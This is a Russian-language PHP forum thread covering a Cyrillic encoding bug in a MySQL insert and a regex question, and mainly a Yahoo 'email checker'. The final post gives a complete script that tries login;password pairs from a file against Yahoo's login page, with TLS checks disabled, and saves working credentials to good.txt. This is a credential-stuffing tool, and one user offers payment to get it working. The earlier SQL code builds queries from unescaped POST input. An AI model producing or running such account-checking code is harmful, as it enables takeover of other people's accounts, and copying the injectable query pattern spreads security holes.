Ваш пример работает. Вроде. Но на моем примере чего - то не получается. Скажите, что я сделал не так Code: CREATE TABLE `Nokia` ( `ID` int(16) NOT NULL auto_increment, `Mark` varchar(16) default NULL, `Description` varchar(512) default NULL, `Photo` blob, `Price` double NOT NULL, `Incoming` date default NULL, `IsEnabled` smallint(1) NOT NULL, PRIMARY KEY (`ID`), KEY `ID` (`ID`) ) ENGINE=MyISAM AUTO_INCREMENT=215 DEFAULT CHARSET=cp1251 AUTO_INCREMENT=215 ; Кста, почему автоинкремент дважды повторяется? PHP: . . . header("Content-Type: text/html; charset=cp1251"); . . . mysql_query("SET NAMES cp1251"); . . $Description = htmlentities($_POST['Description_Inp']); . . $QUERY = "Insert into ".$TABLENAME." values (NULL".", '".$Mark."', '".$Description."', '".$Photo_Data."', '".$Price."', '".$Incoming."', '".$IsEnabled."' )"; //echo $QUERY; $result = mysql_query($QUERY, $link); Как вы уже догадались, вся проблемма в поле Description
Radical Edward Смотрели какой запрос уходит в базу? Кстати, description можно сделать TEXT PS Почему никто патологически не юзает PDO? Это же удобно и о фильтрации ввода позаботились до нас.
бикоз оф писать надо Code: $Description = htmlentities($_POST['Description_Inp'], ENT_QUOTES, "cp1251" ); $query у тебя какой то такой =\ лучше явно указывай, что бы потом не было проблем Code: INSERT INTO `table`(`Mark`,`Description`,`Photo`,`Price`,`Incoming`,`IsEnabled`) VALUES(....); id писать не надо, на то и auto_increment
$now Вот то , что идет в базу. То есть, не правильная сама кодировка на странице... Code: Insert into Nokia values (NULL, 'Ìàðêà', 'Îïèñàíè¸', '', '222.222', '2009-01-22', '1' ) Failure Исправил, запрос изменился к "лучшему" PHP: Insert into Nokia values (NULL, 'надпись', 'ііі', '', '', '', '0' ) &-#1053;о&-# &-#1091;р&-#1103;м&-#1089; (без минусов)
НУ все. После высокого прыжка с бубном, нечто похожее получилось. Скрипт вывода нормально выводит данные после скрипта ввода, однако теперь сам АДМИН не хочет интерпретировать введенные мною символы. Есть идеи? Спасибо за предоставленную помощь
апаю пост т.к. ответа не получил, готов даже вознаградить материально того кто поможет Тема такая нужно написать чекер емалов для yahoo собстно написал, код но проблема в том что пост запрос не отправляеться. Я не давно только начал работать с курл. Есть две функции как видно из листинга первая получает значения вторая отправляет, но вот если первая работает нормально, то вторая отказываеться вообще. Да и в куки помоему вообще ничего не попадает. Вторая функция не отправляет POST запрос вообще. Собственно код не пинайте сильно Code: <?php $cookiefile = tempnam("/tmp", "cookies"); $refer="https://login.yahoo.com/config/login_verify2?&.src=ym"; $username="login"; $password="pass; $url="https://login.yahoo.com/config/login?"; $agent="Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"; function GetData($url){ global $cookiefile,$refer,$url,$agent; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec ($ch); $answer=preg_match("#hash2(.*?)\<table#is",$result,$match); preg_match_all('#name="(.*?)"#is',$match[0],$key_match); preg_match_all("#value=\"(.*?)\"#is",$match[0],$value_match); foreach($key_match[1] as $key) foreach($value_match[1] as $value) $post_array[$key]=$value; $post_array['login']=$username; $post_array['passwd']=$password; $post_array['.Save']="Sign+In"; $post=http_build_query($post_array); curl_close ($ch); return $post; } function SendData($url,$post,$refer){ global $cookiefile,$refer,$url,$agent,$username,$password; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,$post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec ($ch); curl_close ($ch); return $result; } $post=GetData(url); $data=SendData($refer,$post,$refer); echo $data; ?>
Gin, этот код нужно переписывать с нуля. алгоритм такой (без всяких ф-й): 1)отправляем пост запрос с логином и паролем 2)ищем в ответе фразу о неправильном пароле, если ее нет, то все ок никаких кукисов и юзерагентов там не нужно. мб. я ошибаюсь, но скорей всего все делается одним запросом.
2phpdreamer 2All Да так и есть, можно и одним пост запросом, но данные которые грабяться тоже важны. Дело уже даже не в том чтобы написать чекер,а втом чтобы разобраться почему не работает. Если поможешь, то в долгу не останусь, просто я уже много способов перебпробовал.
Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?
2phpdreamer ну так я ставлю эти опции curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
restart_05, PHP: <?php $word='v267g92hg276ghg_engine'; preg_match('/^(\S+)_engine$/',$word,$m); print $m[1]; ?>
PHP: $string = "v267g92hg276ghg_engine"; $string = preg_replace( "#(.+)_engine#", "\\1", $string ); Или регуляркой: PHP: $string = "v267g92hg276ghg_engine"; preg_match( "#(.+)_engine#", $string, $array ); echo "Result: ".$array[1]; Или: PHP: echo $string = str_replace( '_engine', '', 'v267g92hg276ghg_engine' );
Gin, вот : PHP: <?php //*простой чекер мыл yahoo.com от phpdreamer (25.04.2010) $mails = file('file.txt'); //файл с мылами yahoo.com для проверки на валидность ( формат "id;password") foreach($mails as $str) { $mas = explode(';', trim($str)); $email = $mas['0']; $passw = $mas['1']; $ch = curl_init('https://login.yahoo.com/config/login?'); curl_setopt($ch, CURLOPT_POST,1); curl_setopt($ch, CURLOPT_POSTFIELDS , '.tries=1&.src=my&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=fuc8gnp5t886p&.v=0&.challenge=PoeEPS58vFdvVdlcxeu6DrGU4XZe&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmy.yahoo.com&.pd=my_ver%3D0%26c%3DaMtFxUmp2e6zaBL942f2v6LoDw--%26ivt%3D%26sg%3D&login='.$email.'&passwd='.$passw.'&.persistent=y&.save=Sign+In'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION ,1); curl_setopt($ch, CURLOPT_HEADER ,0); curl_setopt($ch, CURLOPT_RETURNTRANSFER ,1); curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false); $RecData = curl_exec($ch); curl_close($ch); if(strpos($RecData, 'window.location.replace("http://my.yahoo.com");')) { $valid = $email .';' . $passw; $h = fopen('good.txt', 'a+'); fwrite($h, $valid . "\n"); fclose($h); } }